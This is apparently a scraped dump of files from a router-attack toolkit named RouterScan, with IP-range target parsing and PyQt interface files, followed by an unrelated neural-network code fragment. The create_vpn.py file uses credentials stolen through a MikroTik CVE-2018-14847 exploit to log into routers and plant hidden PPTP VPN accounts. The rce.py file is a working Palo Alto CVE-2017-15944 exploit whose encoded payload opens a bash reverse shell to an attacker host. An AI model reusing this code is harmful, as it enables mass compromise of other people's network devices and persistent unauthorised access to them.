{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,142
TEmp6869/RouterScan
refs/heads/master
/Utilization/format.py
import ipcalc class Format: def __init__(self): self.target_list = [] self.result = [] self.port = 443 # Old Version of Param Never Use(Only For CVE_2018_13379) self.default_port = 443 # Old Version of Function Never Use(Only For CVE_2018_13379) def format_file(self, filename): target_info = [] for line in open(filename, 'r'): target_check_list = line.strip().split('/') if len(target_check_list) == 1: target_info_list = line.strip().split(':') if len(target_info_list) == 1: ip = [target_info_list[0], self.default_port] target_info.append(ip) elif len(target_info_list) == 2: ip = [target_info_list[0], int(target_info_list[1])] target_info.append(ip) else: item = ipcalc.Network(line.strip()) for i in item: ip = [str(i), self.default_port] target_info.append(ip) return target_info # Old Version of Function Never Use(Only For CVE_2018_13379) def format_ip(self, target): target_info = [] target_check_list = target.split('/') if len(target_check_list) == 1: target_info_list = target.split(':') if len(target_info_list) == 1: ip = [target_info_list[0], self.default_port] target_info.append(ip) elif len(target_info_list) == 2: ip = [target_info_list[0], int(target_info_list[1])] target_info.append(ip) else: item = ipcalc.Network(target) for i in item: ip = [str(i), self.default_port] target_info.append(ip) return target_info # New Version Function def ImportFile(self, filename): with open(filename) as file: self.target_list = file.read().splitlines() # New Version Function def ImportSingle(self, ip): if not self.target_list: self.target_list.append(ip) # New Version Function def FormatValue(self, target): ret = [] # 192.168.1.1 192.168.1.1:80 192.168.1.1/16 if len(target.split(':')) == 2: # 192.168.1.1:80 ip = target.split(':')[0] port = target.split(':')[1] ret.append([ip, port]) elif len(target.split('/')) == 2: # 192.168.1.1/16 ip_list = ipcalc.Network(target) for ip in ip_list: ret.append([str(ip), self.port]) else: # 192.168.1.1 ret.append([target, self.port]) return ret # New Version Function def GetValue(self): self.result = [] for target in self.target_list: self.result.extend(self.FormatValue(target)) ret = self.result return ret # New Version Function def __del__(self): # print('del class') self.target_list = [] self.result = [] self.port = 443 if __name__ == '__main__': test = Format() test.default_port = 8291 print(test.format_file('ip.txt')) print(test.format_ip('192.168.1.1:443'))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,143
TEmp6869/RouterScan
refs/heads/master
/MikroTik/CVE_2018_14847/create_vpn.py
import paramiko import random from MikroTik.CVE_2018_14847.exploit import exploit from MikroTik.CVE_2018_14847.get_targets import format_file, format_single_ip class SSHClient: def __init__(self): self.ssh = paramiko.SSHClient() def login(self, host, port, username, password): self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh.connect(host, port, username, password, timeout=10) def execute(self, command): try: # print('command', command) stdin, stdout, stderr = self.ssh.exec_command(command) # print('stdin', stdin) out = stdout.read() # print(out) result = out.decode('ascii') # print(result) except: out = b' ' result = out.decode('ascii') return out, result def close(self): self.ssh.close() class CreateVpn: def __init__(self, ip, port, usr, pwd): self.ssh = SSHClient() self.ip = ip self.port = port self.usr = usr self.pwd = pwd def random_profile(self): usr = ''.join( random.sample("1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 6)) pwd = ''.join(random.sample("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890", 12)) return usr, pwd def connect(self): try: self.ssh.login(self.ip, self.port, self.usr, self.pwd) result = 1 except: result = 0 return result # get ethernet information def get_ethernet(self): eth_info_list = [] eth_out, eth_info = self.ssh.execute('/interface ethernet print') # print('ethernet out\n', eth_out) eth_list = eth_out.split(b'\r\n') for i in range(2, len(eth_list) - 2): per_eth = eth_list[i].decode('ascii').split(' ') while '' in per_eth: per_eth.remove('') # print('per_ethernet', per_eth) eth_info_list.append(per_eth) # print('ethernet info\n', eth_info) # print('ethernet list\n', eth_info_list) return eth_info_list # get bridge mac address def get_bridge(self): bri_mac_addr_list = [] bri_name_list = [] bri_out, bri_info = self.ssh.execute('/interface bridge print') bri_list = bri_out.split(b'\r\n\r\n') attention = b'Flags: X - disabled, R - running ' if bri_list[0] == attention: print('warning') return [], [] for i in range(0, len(bri_list) - 1): per_bri_list = bri_list[i].decode('ascii').split('mac-address=') per_mac_list = per_bri_list[1].split(' ') bri_mac_addr = per_mac_list[0] bri_mac_addr_list.append(bri_mac_addr) per_name_list = per_bri_list[0].split('name="') name_list = per_name_list[1].split('"') bri_name_list.append(name_list[0]) return bri_mac_addr_list, bri_name_list # choose usable ethernet list def get_lan_ethernet(self): index_list = [] lan_ethernet_list = [] eth_info_list = self.get_ethernet() bri_mac_addr_list, bri_name_list = self.get_bridge() if bri_mac_addr_list == [] and bri_name_list == []: for i in range(0, len(eth_info_list)): if ('RS' in eth_info_list[i]) or ('R' in eth_info_list[i]): lan_ethernet_list.append(eth_info_list[i]) else: for i in range(0, len(eth_info_list)): for addr in bri_mac_addr_list: if addr not in eth_info_list[i]: index_list.append(i) else: break for index in set(index_list): if ('RS' in eth_info_list[index]) or ('R' in eth_info_list[index]): lan_ethernet_list.append(eth_info_list[index]) return lan_ethernet_list # create vpn def create_vpn(self): lan_int = self.get_lan_ethernet()[0][2] bri_mac_addr_list, bri_name_list = self.get_bridge() usr, pwd = self.random_profile() # self.ssh.execute('/ip address add address=192.168.100.121/24 interface=' + lan_int) self.ssh.execute('/ip pool add name="pptp-vpn-pool" ranges=192.168.100.10-192.168.100.30') self.ssh.execute( '/ppp profile add name="pptp-vpn-profile" use-encryption=yes local-address=192.168.100.121 dns-server=8.8.8.8,0.0.0.0 remote-address=pptp-vpn-pool') self.ssh.execute('/ppp secret add name=' + usr + ' profile=pptp-vpn-profile password=' + pwd + ' service=pptp') self.ssh.execute( '/interface pptp-server server set enabled=yes default-profile=pptp-vpn-profile authentication=mschap2,mschap1,chap,pap') if bri_mac_addr_list == [] and bri_name_list == []: self.ssh.execute( '/ip firewall nat add chain=srcnat src-address=192.168.100.121/24 out-interface=' + lan_int + ' action=masquerade') else: self.ssh.execute( '/ip firewall nat add chain=srcnat src-address=192.168.100.121/24 out-interface=' + bri_name_list[ 0] + ' action=masquerade') return usr, pwd def disconnect(self): self.ssh.close() def check_connection(ip, usr, pwd): vpn = CreateVpn(ip, 22, usr, pwd) result = vpn.connect() if result: vpn.disconnect() return 1 else: return 0 def create_main(ip, usr, pwd): vpn = CreateVpn(ip, 22, usr, pwd) vpn.connect() vpn_username, vpn_password = vpn.create_vpn() vpn.disconnect() return vpn_username, vpn_password def vpn(targets): info_list = exploit(targets) print(info_list) vpn_list = [] for target in info_list: ip = target[0] print(ip) login_info = target[2] print(login_info) for u, p in login_info: print(u, p) check = check_connection(ip, u, p) if check: print('start create vpn') vpn_username, vpn_password = create_main(ip, u, p) vpn_info = [ip, vpn_username, vpn_password] print('write into vpn.txt') with open('vpn.txt', 'a')as f: f.write(str(vpn_info)+'\r\n') print('create vpn success') vpn_list.append(vpn_info) else: print('wrong password') return vpn_list def run(): targets = format_file('result.txt') print(vpn(targets)) if __name__ == '__main__': run()
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,144
TEmp6869/RouterScan
refs/heads/master
/Bakup/Desktop/V1/target_dialog.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'target_dialog.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_target_dialog(object): def setupUi(self, target_dialog): target_dialog.setObjectName("target_dialog") target_dialog.resize(400, 300) self.layoutWidget = QtWidgets.QWidget(target_dialog) self.layoutWidget.setGeometry(QtCore.QRect(50, 50, 321, 148)) self.layoutWidget.setObjectName("layoutWidget") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.layoutWidget) self.verticalLayout_3.setContentsMargins(0, 0, 0, 0) self.verticalLayout_3.setObjectName("verticalLayout_3") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.label_2 = QtWidgets.QLabel(self.layoutWidget) self.label_2.setObjectName("label_2") self.horizontalLayout.addWidget(self.label_2) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem) self.lineEdit_2 = QtWidgets.QLineEdit(self.layoutWidget) self.lineEdit_2.setObjectName("lineEdit_2") self.horizontalLayout.addWidget(self.lineEdit_2) self.verticalLayout.addLayout(self.horizontalLayout) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.pushButton = QtWidgets.QPushButton(self.layoutWidget) self.pushButton.setObjectName("pushButton") self.horizontalLayout_3.addWidget(self.pushButton) self.verticalLayout.addLayout(self.horizontalLayout_3) self.verticalLayout_3.addLayout(self.verticalLayout) self.verticalLayout_2 = QtWidgets.QVBoxLayout() self.verticalLayout_2.setObjectName("verticalLayout_2") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.label = QtWidgets.QLabel(self.layoutWidget) self.label.setObjectName("label") self.horizontalLayout_2.addWidget(self.label) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem2) self.lineEdit_3 = QtWidgets.QLineEdit(self.layoutWidget) self.lineEdit_3.setObjectName("lineEdit_3") self.horizontalLayout_2.addWidget(self.lineEdit_3) self.verticalLayout_2.addLayout(self.horizontalLayout_2) self.horizontalLayout_4 = QtWidgets.QHBoxLayout() self.horizontalLayout_4.setObjectName("horizontalLayout_4") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_4.addItem(spacerItem3) self.pushButton_2 = QtWidgets.QPushButton(self.layoutWidget) self.pushButton_2.setObjectName("pushButton_2") self.horizontalLayout_4.addWidget(self.pushButton_2) self.verticalLayout_2.addLayout(self.horizontalLayout_4) self.verticalLayout_3.addLayout(self.verticalLayout_2) self.retranslateUi(target_dialog) QtCore.QMetaObject.connectSlotsByName(target_dialog) def retranslateUi(self, target_dialog): _translate = QtCore.QCoreApplication.translate target_dialog.setWindowTitle(_translate("target_dialog", "Target")) self.label_2.setText(_translate("target_dialog", "Target File")) self.pushButton.setText(_translate("target_dialog", "OK")) self.label.setText(_translate("target_dialog", "Single Target")) self.pushButton_2.setText(_translate("target_dialog", "Upload"))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,145
TEmp6869/RouterScan
refs/heads/master
/PALO_ALTO/CVE_2017_15944/rce.py
import requests import base64 import sys def step3_exp(lhost, lport): command = base64.b64encode('''exec("import os; os.system('bash -i >& /dev/tcp/{}/{} 0>&1')")'''.format(lhost, lport).encode('utf-8')) command=command.decode('utf-8') # print(command) # print(type(command)) # print(type(lhost)) # print(type(lport)) exp_post = r'''{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../../../../tmp/* -print -exec python -c exec(\"'''+ command + r'''\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid": 713}''' # print(exp_post) return exp_post def rce(thost, tport, lhost, lport): session = requests.Session() url1 = 'https://{}:{}/php/utils/debug.php'.format(thost, tport) url2 = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(thost, tport) url3 = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(thost, tport) try: if session.get(url1, verify=False).status_code == 200: if session.get(url2, verify=False).status_code == 200: r = session.get(url1, verify=False) if 'Debug Console' in r.text: exp_post = step3_exp(lhost, lport) response = session.post(url3, data=exp_post).json() print(response) if response['result']['@status'] == 'success': print('[+] success, please wait ... ') print('[+] jobID: {}'.format(response['result']['result']['job'])) return [thost, tport, lhost, lport] else: return [] else: return [] except: return [] if __name__ == '__main__': ret = rce('1.1.1.1', '4443', '192.1.1.1', '1122') print(ret)
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,146
TEmp6869/RouterScan
refs/heads/master
/Bakup/Desktop/V2/MainWindowRouterScan2.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'MainWindowRouterScan_bak.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_RouterScanMainWindow(object): def setupUi(self, RouterScanMainWindow): RouterScanMainWindow.setObjectName("RouterScanMainWindow") RouterScanMainWindow.resize(800, 600) self.centralwidget = QtWidgets.QWidget(RouterScanMainWindow) self.centralwidget.setObjectName("centralwidget") self.layoutWidget = QtWidgets.QWidget(self.centralwidget) self.layoutWidget.setGeometry(QtCore.QRect(40, 30, 731, 481)) self.layoutWidget.setObjectName("layoutWidget") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.layoutWidget) self.verticalLayout_3.setContentsMargins(0, 0, 0, 0) self.verticalLayout_3.setObjectName("verticalLayout_3") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.label = QtWidgets.QLabel(self.layoutWidget) self.label.setObjectName("label") self.verticalLayout.addWidget(self.label) self.textBrowserTarget = QtWidgets.QTextBrowser(self.layoutWidget) self.textBrowserTarget.setObjectName("textBrowserTarget") self.verticalLayout.addWidget(self.textBrowserTarget) self.verticalLayout_3.addLayout(self.verticalLayout) self.verticalLayout_2 = QtWidgets.QVBoxLayout() self.verticalLayout_2.setObjectName("verticalLayout_2") self.label_2 = QtWidgets.QLabel(self.layoutWidget) self.label_2.setObjectName("label_2") self.verticalLayout_2.addWidget(self.label_2) self.textBrowserOutput = QtWidgets.QTextBrowser(self.layoutWidget) self.textBrowserOutput.setObjectName("textBrowserOutput") self.verticalLayout_2.addWidget(self.textBrowserOutput) self.verticalLayout_3.addLayout(self.verticalLayout_2) RouterScanMainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(RouterScanMainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 27)) self.menubar.setObjectName("menubar") self.menuDevices = QtWidgets.QMenu(self.menubar) self.menuDevices.setObjectName("menuDevices") self.menuMikroTik = QtWidgets.QMenu(self.menuDevices) self.menuMikroTik.setObjectName("menuMikroTik") self.menuCVE_2018_14847 = QtWidgets.QMenu(self.menuMikroTik) self.menuCVE_2018_14847.setObjectName("menuCVE_2018_14847") self.menuUtilization = QtWidgets.QMenu(self.menuCVE_2018_14847) self.menuUtilization.setObjectName("menuUtilization") self.menuFortinet = QtWidgets.QMenu(self.menuDevices) self.menuFortinet.setObjectName("menuFortinet") self.menuCVE_2018_13379 = QtWidgets.QMenu(self.menuFortinet) self.menuCVE_2018_13379.setObjectName("menuCVE_2018_13379") self.menuDocument = QtWidgets.QMenu(self.menubar) self.menuDocument.setObjectName("menuDocument") self.menuHelp = QtWidgets.QMenu(self.menubar) self.menuHelp.setObjectName("menuHelp") RouterScanMainWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(RouterScanMainWindow) self.statusbar.setObjectName("statusbar") RouterScanMainWindow.setStatusBar(self.statusbar) self.actionHelp = QtWidgets.QAction(RouterScanMainWindow) self.actionHelp.setObjectName("actionHelp") self.actionContact = QtWidgets.QAction(RouterScanMainWindow) self.actionContact.setObjectName("actionContact") self.actionAPIs = QtWidgets.QAction(RouterScanMainWindow) self.actionAPIs.setObjectName("actionAPIs") self.actionDocument = QtWidgets.QAction(RouterScanMainWindow) self.actionDocument.setObjectName("actionDocument") self.actionUsage = QtWidgets.QAction(RouterScanMainWindow) self.actionUsage.setObjectName("actionUsage") self.actionExploitCVE_2018_14847 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2018_14847.setObjectName("actionExploitCVE_2018_14847") self.actionExploitCVE_2018_13379 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2018_13379.setObjectName("actionExploitCVE_2018_13379") self.actionVPNCVE_2018_14847 = QtWidgets.QAction(RouterScanMainWindow) self.actionVPNCVE_2018_14847.setObjectName("actionVPNCVE_2018_14847") self.menuUtilization.addAction(self.actionVPNCVE_2018_14847) self.menuCVE_2018_14847.addAction(self.actionExploitCVE_2018_14847) self.menuCVE_2018_14847.addAction(self.menuUtilization.menuAction()) self.menuMikroTik.addAction(self.menuCVE_2018_14847.menuAction()) self.menuCVE_2018_13379.addAction(self.actionExploitCVE_2018_13379) self.menuFortinet.addAction(self.menuCVE_2018_13379.menuAction()) self.menuDevices.addAction(self.menuMikroTik.menuAction()) self.menuDevices.addAction(self.menuFortinet.menuAction()) self.menuDocument.addAction(self.actionDocument) self.menuDocument.addAction(self.actionAPIs) self.menuDocument.addAction(self.actionUsage) self.menuHelp.addAction(self.actionHelp) self.menuHelp.addAction(self.actionContact) self.menubar.addAction(self.menuDevices.menuAction()) self.menubar.addAction(self.menuDocument.menuAction()) self.menubar.addAction(self.menuHelp.menuAction()) self.retranslateUi(RouterScanMainWindow) QtCore.QMetaObject.connectSlotsByName(RouterScanMainWindow) def retranslateUi(self, RouterScanMainWindow): _translate = QtCore.QCoreApplication.translate RouterScanMainWindow.setWindowTitle(_translate("RouterScanMainWindow", "Router Scanner")) self.label.setText(_translate("RouterScanMainWindow", " Target")) self.label_2.setText(_translate("RouterScanMainWindow", "Output")) self.menuDevices.setTitle(_translate("RouterScanMainWindow", "Devices")) self.menuMikroTik.setTitle(_translate("RouterScanMainWindow", "MikroTik")) self.menuCVE_2018_14847.setTitle(_translate("RouterScanMainWindow", "CVE_2018_14847")) self.menuUtilization.setTitle(_translate("RouterScanMainWindow", "Utilization")) self.menuFortinet.setTitle(_translate("RouterScanMainWindow", "Fortinet")) self.menuCVE_2018_13379.setTitle(_translate("RouterScanMainWindow", "CVE_2018_13379")) self.menuDocument.setTitle(_translate("RouterScanMainWindow", "Document")) self.menuHelp.setTitle(_translate("RouterScanMainWindow", "Help")) self.actionHelp.setText(_translate("RouterScanMainWindow", "Help")) self.actionContact.setText(_translate("RouterScanMainWindow", "Contact")) self.actionAPIs.setText(_translate("RouterScanMainWindow", "APIs")) self.actionDocument.setText(_translate("RouterScanMainWindow", "Document")) self.actionUsage.setText(_translate("RouterScanMainWindow", "Usage")) self.actionExploitCVE_2018_14847.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionExploitCVE_2018_13379.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionVPNCVE_2018_14847.setText(_translate("RouterScanMainWindow", "VPN"))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,147
TEmp6869/RouterScan
refs/heads/master
/DesktopOldVersion/DialogRCE.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'DialogRCE.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_RCEDialog(object): def setupUi(self, RCEDialog): RCEDialog.setObjectName("RCEDialog") RCEDialog.resize(400, 300) self.buttonBox = QtWidgets.QDialogButtonBox(RCEDialog) self.buttonBox.setGeometry(QtCore.QRect(290, 20, 81, 241)) self.buttonBox.setOrientation(QtCore.Qt.Vertical) self.buttonBox.setStandardButtons(QtWidgets.QDialogButtonBox.Cancel|QtWidgets.QDialogButtonBox.Ok) self.buttonBox.setObjectName("buttonBox") self.widget = QtWidgets.QWidget(RCEDialog) self.widget.setGeometry(QtCore.QRect(10, 50, 263, 120)) self.widget.setObjectName("widget") self.verticalLayout = QtWidgets.QVBoxLayout(self.widget) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.label = QtWidgets.QLabel(self.widget) self.label.setObjectName("label") self.horizontalLayout_2.addWidget(self.label) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem) self.lineEdit = QtWidgets.QLineEdit(self.widget) self.lineEdit.setObjectName("lineEdit") self.horizontalLayout_2.addWidget(self.lineEdit) self.verticalLayout.addLayout(self.horizontalLayout_2) spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout.addItem(spacerItem1) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.label_2 = QtWidgets.QLabel(self.widget) self.label_2.setObjectName("label_2") self.horizontalLayout_3.addWidget(self.label_2) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem2) self.lineEdit_2 = QtWidgets.QLineEdit(self.widget) self.lineEdit_2.setObjectName("lineEdit_2") self.horizontalLayout_3.addWidget(self.lineEdit_2) self.verticalLayout.addLayout(self.horizontalLayout_3) self.retranslateUi(RCEDialog) self.buttonBox.accepted.connect(RCEDialog.accept) self.buttonBox.rejected.connect(RCEDialog.reject) QtCore.QMetaObject.connectSlotsByName(RCEDialog) def retranslateUi(self, RCEDialog): _translate = QtCore.QCoreApplication.translate RCEDialog.setWindowTitle(_translate("RCEDialog", "RCE")) self.label.setText(_translate("RCEDialog", "target")) self.label_2.setText(_translate("RCEDialog", "local server"))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,186
Rikadewi/artificial-neural-network
refs/heads/master
/graph.py
import random class Node: # ATTRIBUTE # # output # edges, list of edge from Node # layer # order def __init__(self, output = 0, layer = 0, order = 0): self.output = output self.edges = [] self.layer = layer self.order = order def addEdge(self, edge): self.edges.append(edge) class Edge: # ATTRIBUTE # # weight # dw, accumulate this through a batch def __init__(self): self.weight = random.random() self.dw = 0 self.dwBefore = 0 def updateWeight(self, learningRate): self.weight = self.weight + self.dw * learningRate self.dw = 0 class Graph: # ATTRIBUTE # roots, a Node # bias, a Node with order = -1 # children, a graph # layer, indicite current layer def __init__(self, bias = Node(), layer = 0): self.roots = [] self.bias = bias self.children = None self.layer = layer # Check is this graph an output layer def isOutput(self): return self.children is None # Get the last output of the graph def getLastOutput(self): graphNow = self while not graphNow.isOutput(): graphNow = graphNow.children # print("OUTPUT") 